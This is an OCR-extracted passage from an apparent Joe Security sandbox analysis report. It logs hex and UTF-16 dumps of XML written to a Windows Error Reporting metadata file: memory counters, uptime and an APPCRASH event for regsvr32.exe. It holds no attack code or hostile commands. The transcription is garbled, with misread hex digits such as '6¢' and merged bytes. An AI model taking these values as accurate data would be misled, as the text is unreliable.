ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
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Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
92

4

2

72

46

40

Value

3c 00 50 00 65 00 61
00 6b 00 50 00 61 00
67 00 65 00 66 00 69
00 6¢ 00 65 00 55 00
73 00 61 00 67 00 65
00 3e 00 34 00 38 00
31 00 36 00 38 00 39
00 36 00 3c 00 2f 00
50 00 65 00 61 00 6b
00 50 00 61 00 67 00
65 00 66 00 69 00 6¢
00 65 00 55 00 73 00
61 00 67 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 50 00 72 00 69
00 76 00 61 00 74 00
65 00 5500 73 00 61
00 67 00 65 00 3e 00
34 00 38 00 30 00 38
00 37 00 30 00 34 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00
7400 6500550073
00 61 00 67 00 65 00
3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
7300 73 00 56 00 6d
00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00
6e 00 3e 00

0d 00 0a 00

09 00

3¢ 0050 00 61 00 72
00 65 00 6e 00 74 00
50 00 72 00 6f 00 63
00 65 00 73 00 73 00
3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 69 00 64
00 3e 00 39 00 38 00
34 00 3c 00 2f 00 50
00 69 00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 49 00 6d 00 61
00 67 00 65 00 4e 00
61 00 6d 00 65 00 3e
00 72 00 65 00 67 00
730076007200 33
00 32 00 2e 00 65 00
78 00 65 00 3c 00 2f
00 49 00 6d 00 61 00
67 00 65 00 4e 00 61
00 6d 00 65 00 3e 00

Ascii

Completion

<.P.e.akP.a.g.efileU.s. success or wait

a.g.e.>.4.8.1.6.8.9.6.
<./P.e.

a.k.P.a.g.efileU.s.ag.e.

>,

success or wait

success or wait

<.P.riv.ate.U.ss.a.g.e>.4. success or wait

8.0.8.7.0.4.<./.P.riv.ate.

Us.a.g.e>.

<./.P.ro.c.e.s.s.v.m.l.n.f.o.

rm.a.ti.o.n.>.

<.P.ar.e.ntP.ro.ces.s.>.

<.P.ro.cee.s.s.l.nfo.rm.a.

tio.n.>.

<.P.i.d.>.9.8.4.</.P.id.>.

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

<..m.a.g.e.N.a.m.e.>.r.e.g. success or wait

s.v.r.3.2..e.x.e.
<./.Lm.a.g.e.N.a.m.e.>.

Count Address

1

1

8

1

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
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Offset

unknown 4

unknown 2

unknown 90

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 78

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

Length Value

0d 00 0a 00

09 00

3c 00 43 00 6d 00 64
00 4c 00 69 00 6e 00
65 00 53 00 69 00 67
00 6e 00 61 00 74 00
7500 72 00 65 00 3e
00 38 00 30 00 30 00
30 00 34 00 30 00 30
00 35 00 3c 00 2f 00
4300 6d 00 64 00 4c
00 69 00 6e 00 65 00
53 00 69 00 67 00 6e
00 61 00 74 00 75 00
7200 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 31 00 31 00 31
00 37 00 39 00 3c 00
2f 0055 00 70 00 74
00 69 00 6d 00 65 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
30 00 22 00 20 00 68
00 6f 00 73 00 74 00
3d 00 22 00 33 00 34
00 34 00 30 00 34 00
2200 3e 00 30 00 3c
00 2f 00 57 00 6f 00
7700 36 00 34 00 3e
00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

Ascii

<.C.m.d.L.i.n.e.S.i.g.n.a.t.u

.r.e.>.8.0.0.0.4.0.0.5.
<./.C.m.

d.L.i.n.e.S.i.g.n.ature>.

<.U.p.tim.e>.1.1.1.7.9.
<./U.p.tim.e.>.

<W.o.w.6.4.

<./W.o.w.6.4.>.

<..p.t.E.n.a.b.l.e.d.>.0.</.

l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.ce.s.s.V.m.Ln.fo.r.

m.a.t.i.o.n.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

4

1

Source

Address Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 90 3c 005000650061 <.P.e.akV.irtu.alS.iz success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 6b 0056 006900 €.>.4.2.9.4.9.6.7.2.9.5.

72007400750061 <./.P.
006c 0053006900 e.akV.irtualS.izes>.
7a 00 65 00 3e 00 34

00 32 00 39 00 34 00

39 00 36 00 37 00 32

00 39 00 35 00 3¢ 00

2f 00 50 00 65 00 61

00 6b 00 56 00 69 00

7200 74 00 75 00 61

00 6¢ 00 53 00 69 00

7a 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 74 3c005600690072 <.\V.irtu.alS.ize>4.2. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00740075006100 9.4.9.6.7.2.9.5.<./V.ir.t.u.

6c 0053006900 7a alS.ize>.
00 65 00 3e 00 34 00
320039 00 34 00 39
00 36 00 37 00 32 00
39 00 35 00 3c 00 2f
00 56 00 69 00 72 00
7400 75 00 61 00 6¢
00 53 00 69 00 7a 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74 3c 005000610067 <.P.a.g.e.F.au.ltC.o.un.t. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00650046 006100 >.1.6.4.7.

7500 6¢ 00 7400 43 <. .P.a.g.e.F.a.u.l.
00 6f 00 75 00 6e 00  t.C.o.u.n.t.>.

74 00 3e 00 31 00 36

00 34 00 37 00 3c 00

2f 00 50 00 61 00 67

00 65 00 46 00 61 00

75 00 6¢ 00 74 00 43

00 6f 00 75 00 6e 00

7400 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c 005000650061 <.P.e.a.kW.o.rk.in.g.S.e.t success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 6b 00 57 00 600 .S.i.z.e.>.6.2.8.7.3.6.0.

7200 6b 00 69 00 6e <./.P.
0067 0053006500 e.a.kW.o.rk.i.n.g.S.e.t.S.i
7400530069007a z.e.>.
00 65 00 3e 00 36 00

3200 3800 37 00 33

00 36 00 30 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

7400 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 80 3c0057006f0072 <.W.o.rk.in.g.S.etS.i.z.e. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.5.9.2.2.8.1.6.

67 005300650074 <./W.o.rk.i.
00530069007a00 n.g.S.e.tS.ize>.
65 00 3e 00 35 00 39

00 32 00 32 00 38 00

31 00 36 00 3c 00 2f

00 57 00 6f 00 72 00

6b 00 69 00 6e 00 67

00 53 00 65 00 74 00

53 00 69 00 7a 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown

ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
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Offset Length

unknown 112

unknown 4

unknown 2

unknown 96

unknown 4

unknown 2

unknown 122

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

Value

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00 38 00 33 00 32 00
39 00 36 00 3c 00 2f
00 51 00 75 00 6f 00
7400 61 00 50 00 65
00 61 00 6b 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 35 00 3500 35 00
3200 3c 00 2f 00 51
00 75 00 6f 00 74 00
61 00 50 00 61 00 67
00 65 00 64 00 50 00
6f 00 6f 00 6¢ 00 55
00 73 00 61 00 67 00
65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
37 00 34 00 38 00 30
00 3c 00 2f 00 51 00
75 00 6f 00 74 00 61
00 50 00 65 00 61 00
6b 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 00 61 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 33 00 33 00 36 00
3c 00 2f 00 51 00 75
00 6f 00 74 00 61 00
4e 00 6f 00 6e 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00

0d 00 0a 00

09 00

Ascii Completion
<.Q.u.o.t.a.P.e.a.k.P.a.g.e. success or wait 1
d.
P.o.0.lUss.a.g.e.>.8.3.2.9.
6.
<./.Q.u.o.t.a.P.e.ak.P.a.g.
e.d.P.o.0.l.Uss.a.g.e.>.
success or wait 1
success or wait 5
<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait 1
lL.U.s.a.g.e.>.7.5.5.5.2.
<./.Q.u.
o.ta.P.a.g.e.d.P.o.0.l.Us.a
.g.e.>.
success or wait 1
success or wait 5
<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait 1
a.
g.e.d.P.o.0.l.Us.a.g.e>.7.
4.8.0.
<./.Q.u.o.t.a.P.e.a.k.N.o.
n.P.a.g.e.d.P.o.0.l.Us.a.g.
e.>.
success or wait 1
success or wait 5
<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1
P.o.0.l.U.s.a.g.e.>.7.3.3.6.
<.
Q.u.o.t.a.N.o.n.P.a.g.e.d.P.
o.0.l.Us.a.g.e.>.
success or wait 1
success or wait 5

Count Address

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 76 3c 005000610067 <.P.ag.e.fileU.s.ag.e> successorwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00650066 006900 5.7.0.5.7.2.8.<./.P.a.g.e.f..

6c 006500550073 leU.s.a.g.e>.
00 61 00 67 00 65 00

3e 00 35 00 37 00 30

00 35 00 37 00 32 00

38 00 3c 00 2f 00 50

00 61 00 67 00 65 00

66 00 69 00 6¢ 00 65

00 55 00 73 00 61 00

67 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 92 3c 005000650061 <.P.e.ak.P.a.g.ef.ile.U.s. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 6b 0050006100 a.g.e.>.5.7.1.3.9.2.0.

67 00 6500 66 0069 <./.P.e.

00 6c 00 65005500 ak.P.a.g.efile.U.s.ag.e.
73 006100670065 >.

00 3e 00 35 00 37 00

3100 33 00 39 00 32

00 30 00 3c 00 2f 00

50 00 65 00 61 00 6b

00 50 00 61 00 67 00

65 00 66 00 69 00 6¢

00 65 00 55 00 73 00

61 00 67 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 72 3c005000720069 <.P.rivate.U.s.ag.e.>5. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00760061007400 7.0.5.7.2.8.</.P.r.iv.ate.

65005500730061 U.s.a.g.e.>.
00 67 00 65 00 3e 00
3500 37 00 3000 35
00 37 00 32 00 38 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00

74 00 65 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.ro.c.e.s.s.\V.m.l.n.f.o. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 42 3c002f00500072 <./.P.r.o.c.e.s.s.l.nfo.rm. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 00 6f00 63006500 a.t.i.o.n.>.

73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 32 3c002f00500061 <./P.are.ntP.ro.c.e.s.s. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml 0072 00 65 00 6e 00 >.

7400 50 00 72 00 6f
00 63 00 65 00 73 00

73 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6EF1497A unknown

ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
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File Path Offset
C:\ProgramData\Microsoft\Windo unknown 42
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 38
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 62
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 38
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 4
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2

ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Length Value

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 49 00 6e
00 66 00 6f 00 72 00
6d 00 61 00 74 00 69
00 6f 00 6e 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 62 00 6¢ 00 65 00
6d 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 76 00 65
00 6e 00 74 00 54 00
79 00 70 00 65 00 3e
00 41 00 50 00 50 00
43 005200410053
00 48 00 3c 00 2f 00
45 00 76 00 65 00 6e
00 74 00 54 00 79 00
70 00 65 00 3e 00

0d 00 0a 00

09 00

3¢ 0050 00 61 00 72
00 61 00 6d 00 65 00
7400 6500 72 00 30
00 3e 00 72 00 65 00
67 00 73 00 76 00 72
00 33 00 32 00 2e 00
65 00 78 00 65 00 3c
00 2f 00 50 00 61 00
7200 61 00 6d 00 65
00 74 00 65 00 72 00
30 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 62 00 6¢ 00
65 00 6d 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 44 00 79 00 6e
00 61 00 6d 00 69 00
63 00 53 00 69 00 67
00 6e 00 61 00 74 00
750072006500 73
00 3e 00

0d 00 0a 00

09 00

Ascii

<./.P.ro.c.e.s.s.l.n.f.o.rm.

a.ti.o.n.>.

<.P.ro.b.l.,e.m.S.i.g.n.a.tu.

TE-52

<.E.v.e.ntT.y.p.e>A.P.P.

C.R.AAS.H.
</E.v.entT.y.p.e>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

<.P.ar.a.m.e.t.e.r.0.>.r.e.g. success or wait

s.v.r.3.2..ex.e</P.ara.

m.e.t.e.r.0.>.

<./.P.ro.b..e.m.S.i.g.n.a.t.

UNEEISE=,

<.D.y.n.a.m.i.c.S.i.g.n.a.t.u.

TE-52

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

8

16

8

12

Source

Address Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

Page 81 of 87



File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERG611E.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset

unknown 96

unknown 4

unknown 2

unknown 40

unknown 4

unknown 2

unknown 38

unknown 4

unknown 2

unknown 94

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

Length Value

3c 0050 00 61 00 72
00 61 00 6d 00 65 00
7400 6500 72 00 31
00 3e 00 31 00 30 00
2e 00 30 00 2e 00 31
00 37 00 31 00 33 00
34 00 2e 00 32 00 2e
00 30 00 2e 00 30 00
2e 00 32 00 35 00 36
00 2e 00 34 00 38 00
3c 00 2f 00 50 00 61
00 72 00 61 00 6d 00
65 00 74 00 65 00 72
00 31 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 44 00 79
00 6e 00 61 00 6d 00
69 00 63 00 53 00 69
00 67 00 6e 00 61 00
74007500 72 00 65
00 73 00 3e 00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

3c 00 4d 00 49 00 44
